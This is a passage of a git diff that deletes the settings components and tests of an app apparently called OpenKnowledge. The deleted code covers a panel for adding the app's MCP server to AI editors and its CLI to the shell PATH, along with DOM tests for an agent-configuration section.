'.claude/skills', custom: false }],- },- ],-};--interface HarnessOpts {- status?: OkIntegrationsStatus;- setResult?: (request: OkIntegrationsSetRequest) => OkIntegrationsSetResult;- ptyAvailable?: boolean;-}--function installBridge({ status = baseStatus, setResult, ptyAvailable = true }: HarnessOpts = {}) {- const setCalls: OkIntegrationsSetRequest[] = [];- const bridge = {- config: { ptyAvailable },- integrations: {- status: async () => status,- setComponent: async (request: OkIntegrationsSetRequest) => {- setCalls.push(request);- return setResult ? setResult(request) : { ok: true as const, status };- },- },- };- Object.defineProperty(window, 'okDesktop', {- value: bridge,- configurable: true,- writable: true,- });- return { setCalls };-}--async function expandEditors(): Promise<void> {- await userEvent.click(await screen.findByTestId('ai-tools-editors-show-more'));-}--afterEach(() => {- cleanup();- toastError.mockClear();- markSpy.mockClear();- window.location.hash = '';- // biome-ignore lint/suspicious/noExplicitAny: test-only global teardown.- (window as any).okDesktop = undefined;-});--describe('AiToolsSection', () => {- test('renders the two component groups from the status snapshot', async () => {- installBridge();- renderSection();-- await waitFor(() => {- expect(screen.getByTestId('ai-tools-path-checkbox')).toBeTruthy();- });- expect(screen.getByTestId('ai-tools-path-status').textContent).toContain('~/.zshrc');-- expect(screen.getByTestId('ai-tools-editor-checkbox-claude').getAttribute('data-state')).toBe(- 'checked',- );- expect(screen.queryByTestId('ai-tools-editor-checkbox-cursor')).toBeNull();- await expandEditors();- expect(screen.getByTestId('ai-tools-editor-checkbox-cursor').getAttribute('data-state')).toBe(- 'unchecked',- );- expect(screen.getByTestId('ai-tools-editor-checkbox-codex').getAttribute('data-state')).toBe(- 'checked',- );- expect(screen.getByTestId('ai-tools-editor-status-codex').textContent).toContain(- 'not managed by OpenKnowledge',- );- const cursorLink = screen.getByTestId('ai-tools-editor-status-cursor');- expect(cursorLink.tagName).toBe('A');- expect(cursorLink.getAttribute('href')).toBe(- 'https://openknowledge.ai/docs/integrations/cursor',- );- expect(screen.getByTestId('ai-tools-editor-checkbox-opencode').hasAttribute('disabled')).toBe(- true,- );- expect(screen.getByTestId('ai-tools-editor-status-opencode').tagName).toBe('SPAN');-- expect(screen.queryByTestId('ai-tools-skill-uninstall-discovery')).toBeNull();- expect(screen.queryByTestId('skills-studio-skill-install-write-skill')).toBeNull();- expect(screen.getByTestId('ai-tools-skills-moved').textContent).toContain('Skills Studio');- });-- test('does not promise the built-in terminal when PTY support is unavailable', async () => {- installBridge({- ptyAvailable: false,- status: { ...baseStatus, path: { ...baseStatus.path, installed: true } },- });- renderSection();-- const status = await screen.findByTestId('ai-tools-path-status');- expect(status.textContent).toContain('your AI tools keep working');- expect(status.textContent).not.toContain('built-in terminal');- });-- test('promises the built-in terminal when PTY support is available', async () => {- installBridge({- status: { ...baseStatus, path: { ...baseStatus.path, installed: true } },- });- renderSection();-- const status = await screen.findByTestId('ai-tools-path-status');- expect(status.textContent).toContain('built-in terminal');- expect(status.textContent).not.toContain('your AI tools keep working');- });-- test('detection orders a row but never claims presence on it', async () => {- const detectedButUnwired: OkIntegrationsStatus = {- ...baseStatus,- editors: baseStatus.editors.map((e) =>- e.id === 'cursor' ? { ...e, detected: true, state: 'not-installed' as const } : e,- ),- };- installBridge({ status: detectedButUnwired });- renderSection();-- await screen.findByTestId('ai-tools-editor-checkbox-cursor');- expect(screen.queryByTestId('ai-tools-editors-show-more')).toBeNull();-- const status = screen.getByTestId('ai-tools-editor-status-cursor');- expect(status.textContent).not.toContain('Detected on this machine');- expect(status.textContent).toContain('How to set up');- });-- test('the editor disclosure exposes its expand and collapse state', async () => {- installBridge();- renderSection();-- const disclosure = await screen.findByTestId('ai-tools-editors-show-more');- expect(disclosure.getAttribute('aria-expanded')).toBe('false');-- const user = userEvent.setup();- await user.click(disclosure);- expect(disclosure.getAttribute('aria-expanded')).toBe('true');- expect(screen.getByTestId('ai-tools-editor-checkbox-cursor')).toBeTruthy();-- await user.click(disclosure);- expect(disclosure.getAttribute('aria-expanded')).toBe('false');- expect(screen.queryByTestId('ai-tools-editor-checkbox-cursor')).toBeNull();- });-- test('clicking a checkbox sends the matching install/uninstall and re-renders from the result', async () => {- const flipped: OkIntegrationsStatus = {- ...baseStatus,- editors: baseStatus.editors.map((e) =>- e.id === 'cursor' ? { ...e, state: 'installed' as const } : e,- ),- };- const { setCalls } = installBridge({- setResult: () => ({ ok: true as const, status: flipped }),- });- renderSection();- await expandEditors();- await waitFor(() => {- expect(screen.getByTestId('ai-tools-editor-checkbox-cursor')).toBeTruthy();- });-- await userEvent.click(screen.getByTestId('ai-tools-editor-checkbox-cursor'));- await waitFor(() => {- expect(setCalls).toEqual([{ component: { kind: 'editor', id: 'cursor' }, enabled: true }]);- });- await waitFor(() => {- expect(screen.getByTestId('ai-tools-editor-checkbox-cursor').getAttribute('data-state')).toBe(- 'checked',- );- });- expect(toastError).not.toHaveBeenCalled();- });-- test('unchecking an installed component sends enabled: false', async () => {- const { setCalls } = installBridge();- renderSection();- await waitFor(() => {- expect(screen.getByTestId('ai-tools-editor-checkbox-claude')).toBeTruthy();- });-- await userEvent.click(screen.getByTestId('ai-tools-editor-checkbox-claude'));- await waitFor(() => {- expect(setCalls).toEqual([{ component: { kind: 'editor', id: 'claude' }, enabled: false }]);- });- });-- test('a refused toggle surfaces the main-process error as a toast and keeps the truthful state', async () => {- installBridge({- setResult: () => ({- ok: false as const,- error: 'left unchanged',- status: baseStatus,- }),- });- renderSection();- await waitFor(() => {- expect(screen.getByTestId('ai-tools-editor-checkbox-codex')).toBeTruthy();- });-- await userEvent.click(screen.getByTestId('ai-tools-editor-checkbox-codex'));- await waitFor(() => {- expect(toastError).toHaveBeenCalledWith('left unchanged');- });- expect(screen.getByTestId('ai-tools-editor-checkbox-codex').getAttribute('data-state')).toBe(- 'checked',- );- });-- test('available: false renders the read-only note and disables every checkbox', async () => {- installBridge({ status: { ...baseStatus, available: false } });- renderSection();- await waitFor(() => {- expect(screen.getByTestId('ai-tools-read-only')).toBeTruthy();- });- expect(screen.getByTestId('ai-tools-path-checkbox').hasAttribute('disabled')).toBe(true);- expect(screen.getByTestId('ai-tools-editor-checkbox-claude').hasAttribute('disabled')).toBe(- true,- );- });-- test('without the desktop bridge the section explains itself instead of crashing', () => {- renderSection();- expect(screen.getByTestId('ai-tools-unavailable')).toBeTruthy();- });-- test('the row info tooltip discloses the exact file and entry the checkbox touches', async () => {- installBridge();- renderSection();- await waitFor(() => {- expect(screen.getByTestId('ai-tools-editor-info-claude')).toBeTruthy();- });-- screen.getByTestId('ai-tools-editor-info-claude').focus();- const paths = await screen.findAllByText('~/.claude.json');- expect(paths.length).toBeGreaterThan(0);- const locators = await screen.findAllByText('mcpServers.open-knowledge');- expect(locators.length).toBeGreaterThan(0);- });-});diff --git a/packages/app/src/components/settings/AiToolsSection.tsx b/packages/app/src/components/settings/AiToolsSection.tsxdeleted file mode 100644index 3e5c5dcbe..000000000--- a/packages/app/src/components/settings/AiToolsSection.tsx+++ /dev/null@@ -1,308 +0,0 @@-// biome-ignore-all lint/plugin/no-physical-direction-utility: pre-rule backlog — physical margin/padding/inset utilities predate the rule; drain by swapping ml/mr → ms/me, pl/pr → ps/pe, left/right → start/end, then deleting this line. See https://github.com/inkeep/open-knowledge/blob/main/biome-plugins/README.md#no-physical-direction-utilitygrit--import { EDITOR_SETUP_DOC_SLUG } from '@inkeep/open-knowledge-core';-import { Trans, useLingui } from '@lingui/react/macro';-import { ArrowUpRight, Info } from 'lucide-react';-import { type ReactNode, useEffect, useState } from 'react';-import { toast } from 'sonner';-import { Button } from '@/components/ui/button';-import { Checkbox } from '@/components/ui/checkbox';-import { Label } from '@/components/ui/label';-import { Skeleton } from '@/components/ui/skeleton';-import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip';-import type { OkIntegrationsSetRequest, OkIntegrationsStatus } from '@/lib/desktop-bridge-types';-import { dispatchExternalLinkClick } from '@/lib/external-link';-import { foldEditorsByPrimary, ShowMoreRow } from './editor-list-fold';-import { SettingsSectionHeader } from './SettingsSectionHeader';--type ComponentRef = OkIntegrationsSetRequest['component'];--function componentKey(component: ComponentRef): string {- if (component.kind === 'editor') return `editor:${component.id}`;- if (component.kind === 'skill') return `skill:${component.id}`;- return 'path';-}--function RowInfoTooltip({ testId, children }: { testId: string; children: ReactNode }) {- const { t } = useLingui();- return (- <Tooltip>- <TooltipTrigger asChild>- <Button- variant="ghost"- size="icon"- className="mt-1.5 mr-1.5 h-6 w-6 shrink-0 text-muted-foreground opacity-60 hover:opacity-100"- aria-label={t`What this checkbox changes`}- data-testid={testId}- >- <Info className="size-3.5" />- </Button>- </TooltipTrigger>- {}- <TooltipContent side="left" className="max-w-sm text-left">- <div className="flex min-w-0 flex-col gap-1">{children}</div>- </TooltipContent>- </Tooltip>- );-}--export function AiToolsSection() {- const { t } = useLingui();- const bridge = typeof window !== 'undefined' ? (window.okDesktop ?? null) : null;- const [status, setStatus] = useState<OkIntegrationsStatus | null>(null);- const [loadFailed, setLoadFailed] = useState(false);- const [pending, setPending] = useState<string | null>(null);- const [showAllEditors, setShowAllEditors] = useState(false);-- useEffect(() => {- if (!bridge) return;- let cancelled = false;- bridge.integrations- .status()- .then((snapshot) => {- if (!cancelled) setStatus(snapshot);- })- .catch(() => {- if (!cancelled) setLoadFailed(true);- });- return () => {- cancelled = true;- };- }, [bridge]);-- async function applyToggle(component: ComponentRef, enabled: boolean): Promise<void> {- if (!bridge) return;- setPending(componentKey(component));- try {- const result = await bridge.integrations.setComponent({ component, enabled });- setStatus(result.status);- if (!result.ok) toast.error(result.error);- } catch (err) {- toast.error(- t`Couldn't apply the change: ${err instanceof Error ? err.message : String(err)}`,- );- }- setPending(null);- }-- const { shownEditors, hiddenCount } = foldEditorsByPrimary(status?.editors ?? [], showAllEditors);-- const header = (- <SettingsSectionHeader- titleId="settings-ai-tools-title"- title={<Trans>AI tools & CLI</Trans>}- scope="user"- >- <Trans>- Give the AI tools you use access to read and update your projects. Checking a box sets it up- right away; unchecking removes it.- </Trans>- </SettingsSectionHeader>- );-- if (!bridge || loadFailed) {- return (- <section aria-labelledby="settings-ai-tools-title" className="space-y-4">- {header}- <p className="text-sm text-muted-foreground" data-testid="ai-tools-unavailable">- <Trans>AI tool management is only available in the OpenKnowledge desktop app.</Trans>- </p>- </section>- );- }-- if (status === null) {- return (- <section aria-labelledby="settings-ai-tools-title" className="space-y-4">- {header}- <div className="space-y-2" data-testid="ai-tools-loading">- <Skeleton className="h-10 w-full" />- <Skeleton className="h-10 w-full" />- <Skeleton className="h-10 w-full" />- </div>- </section>- );- }-- const busy = pending !== null || !status.available;- const showPathRow = status.path.shellDetected || status.path.installed;-- return (- <section aria-labelledby="settings-ai-tools-title" className="space-y-4">- {header}-- {!status.available && (- <p className="text-sm text-amber-600 dark:text-amber-400" data-testid="ai-tools-read-only">- <Trans>Managing AI tools is unavailable in this build.</Trans>- </p>- )}-- {showPathRow && (- <div className="flex flex-col gap-1.5">- <span className="text-xs font-medium text-muted-foreground">- <Trans comment="Group label above the shell-PATH row in Settings → AI tools & CLI">- Terminal- </Trans>- </span>- {}- <div className="flex items-start overflow-hidden rounded-md border border-border bg-card/50 hover:bg-accent">- <Label- htmlFor="ai-tools-path"- className="flex flex-1 cursor-pointer items-start gap-2.5 px-3 py-2.5 font-normal"- >- <Checkbox- id="ai-tools-path"- checked={status.path.installed}- disabled={busy}- onCheckedChange={() => void applyToggle({ kind: 'path' }, !status.path.installed)}- className="mt-0.5"- data-testid="ai-tools-path-checkbox"- />- <span className="flex min-w-0 flex-1 flex-col gap-0.5">- <span className="text-sm font-medium text-foreground">- <Trans comment="Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH">- Add the <code className="inline-code">ok</code> command to your terminal- </Trans>- </span>- <span className="text-xs text-muted-foreground" data-testid="ai-tools-path-status">- {status.path.installed- ? bridge.config.ptyAvailable === true- ? t`Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working.`- : t`Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working.`- : t`Adds a managed block to ${status.path.rcFilesToTouch.join(', ')}`}- </span>- </span>- </Label>- <RowInfoTooltip testId="ai-tools-path-info">- <p className="opacity-70">- <Trans>Adds a managed block to</Trans>- </p>- {status.path.rcFilesToTouch.map((file) => (- <p key={file}>- <code className="break-all">{file}</code>- </p>- ))}- <p className="pt-1">- <Trans>- <code>~/.ok/bin</code> and <code>~/.ok/env.sh</code> stay either way — the app- always maintains them.- </Trans>- </p>- </RowInfoTooltip>- </div>- </div>- )}-- <div className="flex flex-col gap-1.5">- <span className="text-xs font-medium text-muted-foreground">- <Trans comment="Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool">- MCP connections- </Trans>- </span>- <ul className="rounded-md border border-border bg-card/50 divide-y divide-border overflow-hidden">- {shownEditors.map((editor) => {- const checked = editor.state === 'installed' || editor.state === 'foreign';- const disabled = busy || editor.state === 'unmanageable';- const showSetupLink = editor.state === 'not-installed';- const setupUrl = `https://openknowledge.ai/docs/integrations/${EDITOR_SETUP_DOC_SLUG[editor.id]}`;- const statusLabel =- editor.state === 'installed'- ? t`Installed`- : editor.state === 'foreign'- ? t`Custom open-knowledge entry — not managed by OpenKnowledge`- : editor.state === 'unmanageable'- ? t`Can't safely edit this tool's config`- : null;- const statusClass =- editor.state === 'foreign' || editor.state === 'unmanageable'- ? 'text-xs text-amber-600 dark:text-amber-400'- : 'text-xs text-muted-foreground';- return (- <li- key={editor.id}- className={disabled ? 'flex items-start' : 'flex items-start hover:bg-accent'}- >- <Label- htmlFor={`ai-tools-editor-${editor.id}`}- className={- disabled- ? 'flex flex-1 items-start gap-2.5 px-3 py-2.5 font-normal'- : 'flex flex-1 cursor-pointer items-start gap-2.5 px-3 py-2.5 font-normal'- }- >- <Checkbox- id={`ai-tools-editor-${editor.id}`}- checked={checked}- disabled={disabled}- onCheckedChange={() =>- void applyToggle({ kind: 'editor', id: editor.id }, !checked)- }- className="mt-0.5"- data-testid={`ai-tools-editor-checkbox-${editor.id}`}- />- <span className="flex min-w-0 flex-1 flex-col gap-0.5">- <span className="text-sm font-medium text-foreground">{editor.label}</span>- {statusLabel !== null && (- <span- className={statusClass}- data-testid={`ai-tools-editor-status-${editor.id}`}- >- {statusLabel}- </span>- )}- </span>- </Label>- {}- {showSetupLink && (- <a- href={setupUrl}- target="_blank"- rel="noopener noreferrer"- onClick={(e) => dispatchExternalLinkClick(e, setupUrl)}- onAuxClick={(e) => dispatchExternalLinkClick(e, setupUrl)}- aria-label={t`How to set up ${editor.label} (opens in browser)`}- className="flex shrink-0 items-center gap-0.5 px-2 py-2.5 text-xs text-muted-foreground underline-offset-2 hover:text-foreground hover:underline"- data-testid={`ai-tools-editor-status-${editor.id}`}- >- <Trans comment="Link on an undetected tool row to its OpenKnowledge setup guide">- How to set up- </Trans>- <ArrowUpRight className="size-3" aria-hidden />- </a>- )}- <RowInfoTooltip testId={`ai-tools-editor-info-${editor.id}`}>- <p className="opacity-70">- <Trans>File</Trans>- </p>- <p>- <code className="break-all">- {editor.configPath ?? t`unavailable on this platform`}- </code>- </p>- <p className="pt-1 opacity-70">- <Trans>Entry</Trans>- </p>- <p>- <code className="break-all">{editor.entryLocator}</code>- </p>- </RowInfoTooltip>- </li>- );- })}- <ShowMoreRow- hiddenCount={hiddenCount}- expanded={showAllEditors}- onToggle={() => setShowAllEditors((v) => !v)}- testId="ai-tools-editors-show-more"- />- </ul>- </div>-- <p className="text-xs text-muted-foreground" data-testid="ai-tools-skills-moved">- <Trans comment="Points at the settings page that now owns skill install, in Settings → AI tools & CLI">- Skills moved to Skills Studio.- </Trans>- </p>- </section>- );-}diff --git a/packages/app/src/components/settings/ConfigureAgentsSection.dom.test.tsx b/packages/app/src/components/settings/ConfigureAgentsSection.dom.test.tsxdeleted file mode 100644index 56ae87741..000000000--- a/packages/app/src/components/settings/ConfigureAgentsSection.dom.test.tsx+++ /dev/null@@ -1,458 +0,0 @@-import type { InstallState } from '@inkeep/open-knowledge-core';-import { QueryClient, QueryClientProvider } from '@tanstack/react-query';-import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react';-import type { ReactNode } from 'react';-import { afterEach, beforeEach, describe, expect, test, vi } from 'vitest';-import type { AgentCatalog } from '@/lib/acp/catalog';--const backing = new Map<string, string>();-if (typeof globalThis.localStorage === 'undefined') {- (globalThis as { localStorage?: unknown }).localStorage = {- getItem: (key: string) => backing.get(key) ?? null,- setItem: (key: string, value: string) => void backing.set(key, value),- removeItem: (key: string) => void backing.delete(key),- clear: () => backing.clear(),- };-}--vi.doMock('@lingui/react/macro', () => ({- Trans: ({ children }: { children: ReactNode }) => <>{children}</>,- useLingui: () => ({- t: (strings: TemplateStringsArray, ...values: unknown[]) =>- strings.reduce((acc, part, index) => `${acc}${part}${values[index] ?? ''}`, ''),- }),-}));--const catalog: AgentCatalog = {- agents: [- {- id: 'claude-acp',- name: 'Claude Agent',- version: '1',- source: 'registry',- supported: true,- featured: true,- harness: { cli: 'claude', availability: 'unknown', credentials: 'unknown' },- },- {- id: 'opencode-acp',- name: 'OpenCode',- version: '1',- source: 'registry',- supported: false,- featured: false,- harness: { cli: 'opencode', availability: 'not-found', credentials: 'unknown' },- },- {- id: 'cline',- name: 'Cline',- version: '1',- source: 'registry',- supported: true,- featured: false,- description: 'Autonomous coding agent',- },- {- id: 'cursor',- name: 'Cursor',- version: '1',- source: 'registry',- supported: true,- featured: false,- description: 'ACP wrapper for Cursor',- license: 'Apache-2.0',- harness: { cli: 'cursor', availability: 'not-found', credentials: 'unknown' },- },- {- id: 'gemini',- name: 'Gemini',- version: '1',- source: 'registry',- supported: true,- featured: false,- description: 'ACP wrapper for Gemini',- harness: { cli: 'pi', availability: 'present', credentials: 'unknown' },- },- ],- stale: false,- maxThreads: 8,-};-let fetchCatalog: () => Promise<typeof catalog> = () => Promise.resolve(catalog);-vi.doMock('@/lib/acp/catalog', async (importOriginal) => ({- ...(await importOriginal<typeof import('@/lib/acp/catalog')>()),- fetchAgentCatalog: () => fetchCatalog(),-}));--let states: Record<string, InstallState> = {};-vi.doMock('@/components/handoff/useInstalledAgents', () => ({- useInstalledAgents: () => ({ states, refresh: () => Promise.resolve() }),-}));--let terminalLaunchValue: { installedClis: Record<string, boolean> } | null = null;-vi.doMock('@/components/handoff/TerminalLaunchContext', () => ({- useTerminalLaunch: () => terminalLaunchValue,-}));--vi.doMock('@/components/handoff/OpenInAgentMenuItem', () => ({- TargetIcon: ({ id }: { id: string }) => <svg data-testid={`target-icon-${id}`} aria-hidden />,-}));-vi.doMock('@/components/acp/RegisteredAgentIcon', () => ({- RegisteredAgentIcon: () => <svg data-testid="registered-agent-icon" aria-hidden />,-}));--import { reloadEnabledAgentsFromStorage } from '@/lib/acp/enabled-agents';-import {- getDefaultRegisteredAgent,- registerAgent,- reloadRegisteredAgentsFromStorage,-} from '@/lib/acp/registered-agents';--const { ConfigureAgentsSection } = await import('./ConfigureAgentsSection');--const STORAGE_KEY = 'ok-acp-enabled-agents-v1';--function overrides(): Record<string, boolean> {- return JSON.parse(localStorage.getItem(STORAGE_KEY) ?? '{}');-}--function renderSection() {- const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });- render(- <QueryClientProvider client={client}>- <ConfigureAgentsSection />- </QueryClientProvider>,- );-}--beforeEach(() => {- localStorage.clear();- reloadRegisteredAgentsFromStorage();- reloadEnabledAgentsFromStorage();- fetchCatalog = () => Promise.resolve(catalog);- states = { 'claude-code': { installed: true }, codex: { installed: false } } as Record<- string,- InstallState- >;-});--afterEach(() => cleanup());--async function expandInApp(): Promise<void> {- fireEvent.click(await screen.findByTestId('configure-agents-in-app-show-more'));-}--function groupOrder(): string[] {- return screen.getAllByRole('heading', { level: 4 }).map((h) => h.textContent?.trim() ?? '');-}--describe('ConfigureAgentsSection', () => {- test('renders In app + External apps groups (no Terminal on the web host)', async () => {- renderSection();- await waitFor(() => expect(screen.getByText('Claude Agent')).toBeTruthy());- expect(screen.getByText('In app')).toBeTruthy();- expect(screen.getByText('External apps')).toBeTruthy();- expect(screen.queryByText('Terminal')).toBeNull();- });-- test('the In app heading is the plain group name — no feature-Beta badge', async () => {- renderSection();- await waitFor(() => expect(screen.getByText('Claude Agent')).toBeTruthy());- expect(groupOrder()).toEqual(['In app', 'External apps']);- expect(screen.queryByText('Beta')).toBeNull();- });-- test('a platform-unsupported in-app agent renders disabled', async () => {- renderSection();- await expandInApp();- const toggle = await screen.findByTestId('configure-agents-in-app-registry:opencode-acp');- expect(toggle.getAttribute('data-disabled')).toBe('');- });-- test('a row shows the catalog description as its subtitle, never the license or an install signal', async () => {- renderSection();- await expandInApp();- expect(await screen.findByText('ACP wrapper for Cursor')).toBeTruthy();- expect(screen.getByText('ACP wrapper for Gemini')).toBeTruthy();- expect(screen.queryByText('Apache-2.0')).toBeNull();- });-- test('a present harness defaults on and a not-found one defaults off (toggle still operable)', async () => {- renderSection();- const present = await screen.findByTestId('configure-agents-in-app-registry:gemini');- await expandInApp();- const notFound = await screen.findByTestId('configure-agents-in-app-registry:cursor');- expect(present.getAttribute('aria-checked')).toBe('true');- expect(notFound.getAttribute('aria-checked')).toBe('false');- expect(notFound.getAttribute('data-disabled')).toBeNull();- });-- test('an existing sign-in detects an agent whose CLI is not on PATH', async () => {- const cursor = catalog.agents.find((a) => a.id === 'cursor');- const restore = cursor?.harness?.credentials;- if (cursor?.harness) cursor.harness.credentials = 'present';- try {- renderSection();- const row = await screen.findByTestId('configure-agents-in-app-registry:cursor');- expect(row.getAttribute('aria-checked')).toBe('true');- expect(screen.getByText('ACP wrapper for Cursor')).toBeTruthy();- } finally {- if (cursor?.harness && restore) cursor.harness.credentials = restore;- }- });-- test('collapses to agents the probe has not ruled out, with a Show more toggle for the rest', async () => {- renderSection();- await screen.findByText('Claude Agent');- expect(screen.getByText('ACP wrapper for Gemini')).toBeTruthy();- expect(screen.queryByText('ACP wrapper for Cursor')).toBeNull();- expect(screen.queryByText('Cline')).toBeNull();- const toggle = screen.getByTestId('configure-agents-in-app-show-more');- expect(toggle.textContent).toContain('Show 3 more');-- fireEvent.click(toggle);-- expect(screen.getByText('Cline')).toBeTruthy();- expect(screen.getByText('ACP wrapper for Cursor')).toBeTruthy();- expect(toggle.textContent).toContain('Show less');- });-- test('an agent the probe ruled out stays above the fold once the user enables it', async () => {- localStorage.setItem(STORAGE_KEY, JSON.stringify({ 'in-app:registry:cursor': true }));- reloadEnabledAgentsFromStorage();- renderSection();-- expect(await screen.findByText('ACP wrapper for Cursor')).toBeTruthy();- expect(screen.getByTestId('configure-agents-in-app-show-more').textContent).toContain(- 'Show 2 more',- );- });-- test('expanding pins present agents on top and sorts the rest alphabetically', async () => {- renderSection();- await screen.findByText('Claude Agent');- await expandInApp();- const inApp = within(- document.querySelector<HTMLElement>(- 'section[aria-labelledby="settings-configure-agents-in-app"]',- ) as HTMLElement,- );- const names = inApp- .getAllByText(/^(Claude Agent|Gemini|Cursor|OpenCode|Cline)$/)- .map((n) => n.textContent ?? '');-- const primary = names.slice(0, 2);- expect(primary).toContain('Claude Agent');- expect(primary).toContain('Gemini');-- const tail = names.slice(2);- expect(tail).toEqual([...tail].sort((a, b) => a.localeCompare(b)));- expect(tail).toContain('Cline');- });-- test('a group with something installed sorts above one with nothing', async () => {- const gemini = catalog.agents.find((a) => a.id === 'gemini');- const claude = catalog.agents.find((a) => a.id === 'claude-acp');- const restore = { g: gemini?.harness?.availability, c: claude?.harness?.availability };- if (gemini?.harness) gemini.harness.availability = 'not-found';- if (claude?.harness) claude.harness.availability = 'not-found';- try {- renderSection();- await screen.findByTestId('configure-agents-in-app-show-more');- expect(groupOrder()).toEqual(['External apps', 'In app']);- } finally {- if (gemini?.harness && restore.g) gemini.harness.availability = restore.g;- if (claude?.harness && restore.c) claude.harness.availability = restore.c;- }- });-- test('a credentials-only agent lifts the In app group above one with nothing', async () => {- const patched = catalog.agents.filter((a) => a.harness !== undefined);- const restore = patched.map((a) => ({ a, ...a.harness }));- for (const a of patched) {- if (a.harness) a.harness.availability = 'not-found';- }- const cursor = catalog.agents.find((a) => a.id === 'cursor');- if (cursor?.harness) cursor.harness.credentials = 'present';- try {- renderSection();- await screen.findByText('ACP wrapper for Cursor');- expect(groupOrder()).toEqual(['In app', 'External apps']);- } finally {- for (const r of restore) {- if (r.a.harness && r.availability && r.credentials) {- r.a.harness.availability = r.availability;- r.a.harness.credentials = r.credentials;- }- }- }- });-- test('groups keep their declared order when both have something present', async () => {- renderSection();- await screen.findByText('Claude Agent');- expect(groupOrder()).toEqual(['In app', 'External apps']);- });-- test('an external-apps group whose probe has not answered does NOT claim presence', async () => {- states = {};- const gemini = catalog.agents.find((a) => a.id === 'gemini');- const claude = catalog.agents.find((a) => a.id === 'claude-acp');- const restore = { g: gemini?.harness?.availability, c: claude?.harness?.availability };- if (gemini?.harness) gemini.harness.availability = 'not-found';- if (claude?.harness) claude.harness.availability = 'not-found';- try {- renderSection();- await screen.findByTestId('configure-agents-in-app-show-more');- expect(groupOrder()).toEqual(['In app', 'External apps']);- } finally {- if (gemini?.harness && restore.g) gemini.harness.availability = restore.g;- if (claude?.harness && restore.c) claude.harness.availability = restore.c;- }- });-- test('a failed catalog holds the In app group in place rather than sinking it', async () => {- fetchCatalog = () => Promise.reject(new Error('catalog unreachable'));- renderSection();- await screen.findByText(/Couldn't reach the agent registry/i);- expect(groupOrder()).toEqual(['In app', 'External apps']);- });-- test('a group whose every member is positively absent still sorts down', async () => {- states = { 'claude-code': { installed: false }, codex: { installed: false } } as Record<- string,- InstallState- >;- renderSection();- await screen.findByText('Claude Agent');- expect(groupOrder()).toEqual(['In app', 'External apps']);- });-- test('the In app group does not sort down and jump back while its catalog loads', async () => {- renderSection();- expect(groupOrder()).toEqual(['In app', 'External apps']);- await screen.findByText('Claude Agent');- expect(groupOrder()).toEqual(['In app', 'External apps']);- });-- test('enabling an in-app agent is visibility-only and does not change the launch default', async () => {- registerAgent({ source: 'registry', id: 'codex-acp', name: 'Codex' });- expect(getDefaultRegisteredAgent()?.id).toBe('codex-acp');-- renderSection();- const toggle = await screen.findByTestId('configure-agents-in-app-registry:claude-acp');- fireEvent.click(toggle);-- await waitFor(() => expect(overrides()['in-app:registry:claude-acp']).toBe(true));- expect(getDefaultRegisteredAgent()?.id).toBe('codex-acp');- });-- test('disabling the current default moves the default to the next enabled agent', async () => {- registerAgent({ source: 'registry', id: 'codex-acp', name: 'Codex' });- registerAgent({ source: 'registry', id: 'claude-acp', name: 'Claude Agent' });- expect(getDefaultRegisteredAgent()?.id).toBe('claude-acp');-- renderSection();- const toggle = await screen.findByTestId('configure-agents-in-app-registry:claude-acp');- fireEvent.click(toggle);-- await waitFor(() => expect(overrides()['in-app:registry:claude-acp']).toBe(false));- expect(getDefaultRegisteredAgent()?.id).toBe('codex-acp');- });-- test('a detected external app is on with no override; a missing one is off', async () => {- renderSection();- const detected = await screen.findByTestId('configure-agents-desktop-claude-code');- const missing = await screen.findByTestId('configure-agents-desktop-codex');- expect(overrides()['desktop:claude-code']).toBeUndefined();- expect(detected.getAttribute('aria-checked')).toBe('true');- expect(missing.getAttribute('aria-checked')).toBe('false');- });-- test('toggling on an absent external app persists a true override and keeps the row', async () => {- renderSection();- const toggle = await screen.findByTestId('configure-agents-desktop-codex');- expect(toggle.getAttribute('aria-checked')).toBe('false');- fireEvent.click(toggle);-- await waitFor(() => expect(overrides()['desktop:codex']).toBe(true));- const after = await screen.findByTestId('configure-agents-desktop-codex');- expect(after.getAttribute('aria-checked')).toBe('true');- expect(screen.getByText('Not installed')).toBeTruthy();- });-- test('toggling a detected external app off persists a false override', async () => {- renderSection();- const toggle = await screen.findByTestId('configure-agents-desktop-claude-code');- fireEvent.click(toggle);- await waitFor(() => expect(overrides()['desktop:claude-code']).toBe(false));- });-- test('search filters agents across groups', async () => {- renderSection();- await screen.findByText('Claude Agent');- fireEvent.change(screen.getByTestId('configure-agents-search'), { target: { value: 'codex' } });- await waitFor(() => expect(screen.queryByText('Claude Agent')).toBeNull());- expect(screen.getByTestId('configure-agents-desktop-codex')).toBeTruthy();- expect(screen.queryByTestId('configure-agents-no-results')).toBeNull();- });-- test('a query matching nothing shows the no-results line', async () => {- renderSection();- await screen.findByText('Claude Agent');- fireEvent.change(screen.getByTestId('configure-agents-search'), {- target: { value: 'zzzznope' },- });- await waitFor(() => expect(screen.getByTestId('configure-agents-no-results')).toBeTruthy());- });-});--describe('ConfigureAgentsSection — Terminal group (docked terminal present)', () => {- beforeEach(async () => {- terminalLaunchValue = { installedClis: { claude: true, codex: false } };- const { reloadEnabledAgentsFromStorage } = await import('@/lib/acp/enabled-agents');- reloadEnabledAgentsFromStorage();- });- afterEach(() => {- terminalLaunchValue = null;- });-- async function expandTerminal(): Promise<void> {- fireEvent.click(await screen.findByTestId('configure-agents-terminal-show-more'));- }-- test('renders the Terminal group with per-CLI rows', async () => {- renderSection();- await screen.findByTestId('configure-agents-terminal-claude');- expect(screen.getByText('Terminal')).toBeTruthy();- await expandTerminal();- expect(screen.getByTestId('configure-agents-terminal-codex')).toBeTruthy();- });-- test('Terminal sorts installed CLIs first and folds the not-installed ones', async () => {- renderSection();- const fold = await screen.findByTestId('configure-agents-terminal-show-more');- expect(screen.queryByTestId('configure-agents-terminal-codex')).toBeNull();- expect(screen.getByTestId('configure-agents-terminal-claude')).toBeTruthy();-- fireEvent.click(fold);- expect(screen.getByTestId('configure-agents-terminal-codex')).toBeTruthy();- expect(fold.textContent).toContain('Show less');- });-- test('an absent CLI shows the Not installed hint; a present one does not', async () => {- renderSection();- await expandTerminal();- await 